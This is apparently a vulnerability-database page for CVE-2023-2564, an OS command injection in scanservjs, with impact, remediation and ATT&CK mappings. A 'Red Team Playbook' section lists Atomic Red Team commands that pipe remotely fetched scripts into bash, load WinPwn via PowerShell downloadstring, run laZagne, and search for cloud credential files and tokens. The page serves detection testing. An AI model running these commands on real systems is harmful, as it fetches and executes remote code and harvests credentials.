CVE-2023-2564
Overview
This vulnerability is an OS command injection affecting the scanservjs component of the sbs20/scanservjs project. The root cause lies in improper sanitization of user-supplied input that is directly passed to system command execution functions. This flaw exists in the command execution logic prior to version 2.27.0, allowing injection through unvalidated parameters.
Vulnerability Description
OS Command Injection in GitHub repository sbs20/scanservjs prior to v2.27.0.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary operating system commands with the privileges of the scanservjs process. This can lead to full system compromise, including data theft, service disruption, or lateral movement within the network. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, making exploitation straightforward and highly impactful in exposed environments.
Solution
Users of scanservjs should upgrade to version 2.27.0 or later, where the command injection vulnerability has been addressed. The fix is documented in the GitHub pull request d51fd52c1569813990b8f74e64ae6979c665dca1 and detailed in the huntr.dev bounty advisory (ID d13113ad-a107-416b-acc1-01e4c16ec461). No additional workarounds are recommended beyond applying the official patch to ensure input sanitization is enforced.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability identified within the scanservjs project is characterized by an OS command injection flaw, which allows an attacker to execute arbitrary commands on the server hosting the application. This type of vulnerability arises when user input is improperly sanitized, enabling malicious actors to manipulate the command execution process. In the case of scanservjs, prior to version 2.27.0, the application failed to adequately validate or escape user-supplied data, leading to a scenario where an attacker could inject shell commands. This could result in unauthorized access to the underlying operating system, potentially compromising the entire server environment.
Attack vectors for this vulnerability are varied and can be executed through multiple means, primarily involving the exploitation of web interfaces that interact with the underlying system. An attacker could craft a malicious request that includes specially formatted input, which the application would then process as a command. For instance, if the application allows users to upload files or execute scripts based on user input, an attacker could manipulate these inputs to include OS commands. This exploitation could occur remotely, making it particularly dangerous as it does not require physical access to the server. Furthermore, the ease of use of such attacks, often facilitated by automated tools, increases the likelihood of successful exploitation.
The real-world impact of this vulnerability is significant, especially for organizations that rely on scanservjs for file scanning and processing. A successful exploitation could lead to severe consequences, including data breaches, unauthorized data manipulation, and even complete system takeover. The business risks associated with such incidents are profound, encompassing financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Organizations could find themselves facing downtime, recovery costs, and loss of customer trust, all of which could have long-lasting effects on their operations and market position.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the latest version of scanservjs is essential, as this will eliminate the vulnerability at its source. Additionally, organizations should conduct regular security audits and code reviews to identify and remediate similar vulnerabilities in their applications. Implementing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out malicious requests before they reach the application. Furthermore, employing input validation and sanitization techniques can help prevent command injection attacks, ensuring that user inputs are properly handled and do not lead to unintended command execution.
In conclusion, the OS command injection vulnerability in scanservjs poses a critical threat to the security of systems utilizing this application. The potential for exploitation through various attack vectors highlights the need for robust security practices and proactive measures. By understanding the nature of the vulnerability, its impact, and the strategies for detection and mitigation, organizations can better protect themselves against such threats and maintain the integrity of their systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Scanservjs Project | Scanservjs | All |
cpe:2.3:a:scanservjs_project:scanservjs:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2564 |
| huntr.dev |
GitHub CVE
|
https://huntr.dev/bounties/d13113ad-a107-416b-acc1-01e4c16ec461 |
| github.com |
GitHub CVE
|
https://github.com/sbs20/scanservjs/pull/606/commits/d51fd52c1569813990b8f74e64ae6979c665dca1 |